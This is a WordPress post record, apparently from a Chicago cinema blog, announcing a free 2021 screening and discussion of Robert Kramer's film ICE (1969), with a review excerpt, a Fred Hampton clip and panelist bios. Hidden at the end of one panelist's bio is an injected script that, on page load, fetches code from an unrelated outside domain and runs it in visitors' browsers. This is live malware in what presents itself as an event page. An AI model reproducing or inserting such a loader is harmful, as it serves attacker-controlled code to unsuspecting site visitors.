{"id":7399,"date":"2021-09-21T06:32:52","date_gmt":"2021-09-21T11:32:52","guid":{"rendered":"https:\/\/blackworldcinema.net\/blog\/?p=7399"},"modified":"2025-06-03T00:27:53","modified_gmt":"2025-06-03T05:27:53","slug":"sun-oct-10-3pm-depicting-revolution-ice-1969","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2021\/09\/21\/sun-oct-10-3pm-depicting-revolution-ice-1969\/","title":{"rendered":"Sun, Sep 26, 3pm, Depicting Revolution: ICE (1969)"},"content":{"rendered":"<p class=\"p1\"><b>Depicting Revolution<\/b><br \/>\nSun, Sept 26, 3pm, 2021<br \/>\n<b>ICE (1969) Robert Kramer \u2022 Drama \u2022 128 min<\/b><\/p>\n<p class=\"p1\">https:\/\/watchbeem.com\/cowatch\/ice-1969<br \/>\n<iframe title=\"&quot;ICE&quot; film within a film: FALSE CONSCIOUSNESS I.C.E., EXCERPT from R. KRAMER film\" width=\"800\" height=\"600\" src=\"https:\/\/www.youtube.com\/embed\/C6A0c1IZx7k?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><br \/>\nFree Screening &amp; Discussion:<br \/>\n&#8220;An underground revolutionary group struggles against internal strife to stage urban guerilla attacks against a fictionalized fascist regime in the United States. Interspersed throughout the narrative are rhetorical sequences that explain the philosophy of radical action and restrain the melodrama inherent in the thriller genre.&#8221;<\/p>\n<p>&#8220;<em>A film that has gained hugely with the passage of time. It may not &#8216;explode in people&#8217;s faces like a grenade&#8217; or &#8216;open minds like a can-opener&#8217; as Kramer has stated he wished it to, but there&#8217;s no doubt that it stands alone as a sympathetic, frequently brilliant ideological thriller. Dealing with urban insurrection and armed revolt by the youth of America, Kramer&#8217;s film occupies intriguingly shifting territory between documentary and science fiction. The result is a unique testament to the political consciousness of a decade. Kramer constantly astonishes with his ability to draw performances and find images that fix this particular consciousness with unnerving precision. It is beautifully shot in black-and-white<\/em>.&#8221; \u2013 TIME OUT MAGAZINE<\/p>\n<p>Fred Hampton on &#8220;White Mother Country Radicals:<\/p>\n<div style=\"width: 800px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-7399-1\" width=\"800\" height=\"450\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/fredEdit.mp4?_=1\" \/><a href=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/fredEdit.mp4\">https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/fredEdit.mp4<\/a><\/video><\/div>\n<p><strong>Panelists:<\/strong><br \/>\n<img decoding=\"async\" class=\"alignleft wp-image-7435\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter.png\" alt=\"\" width=\"120\" height=\"120\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter.png 155w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter-150x150.png 150w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter-24x24.png 24w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter-48x48.png 48w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Peter-96x96.png 96w\" sizes=\"(max-width: 120px) 100vw, 120px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>Peter Kuttner<\/strong> is a Chicago filmmaker, activist, and cameraman. He is known for his early socially-conscious documentary films that touch on topics such as opposition to United States involvement in the Vietnam War, gentrification of Chicago, racism, and social class.<\/p>\n<p>&nbsp;<\/p>\n<p><img decoding=\"async\" class=\"wp-image-7436 alignleft\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance.png\" alt=\"\" width=\"139\" height=\"139\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance.png 155w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance-150x150.png 150w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance-24x24.png 24w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance-48x48.png 48w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/09\/Terrance-96x96.png 96w\" sizes=\"(max-width: 139px) 100vw, 139px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><strong>T<\/strong><strong>errence Thompson<\/strong> is a 29 year old Chicago-bred filmmaker and educator. Through feature films, television and short-form work, he seeks to interrogate patriarchy, anti-capitalism, and interpersonal relationships through a Black and inclusive lens. In 2019 he was a finalist in the \u201cWeScreenplay Diverse Voices\u201d writing competition for his un-produced pilot \u201cStreet Lights\u201d, which was endorsed by The Black List in June of 2020, and selected for the OTV 2020 Filmmaking Fellowship.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;An underground revolutionary group struggles against internal strife to stage urban guerilla attacks against a fictionalized fascist regime in the United States. Interspersed throughout the narrative are rhetorical sequences that explain the philosophy of radical action and restrain the melodrama inherent in the thriller genre.&#8221;<\/p>\n","protected":false},"author":1,"featured_media":7400,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[59,8,3],"tags":[],"class_list":["post-7399","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-future_programming","category-monthly-screenings-at-chatham-14"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7399","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=7399"}],"version-history":[{"count":17,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7399\/revisions"}],"predecessor-version":[{"id":7500,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7399\/revisions\/7500"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/7400"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=7399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=7399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=7399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}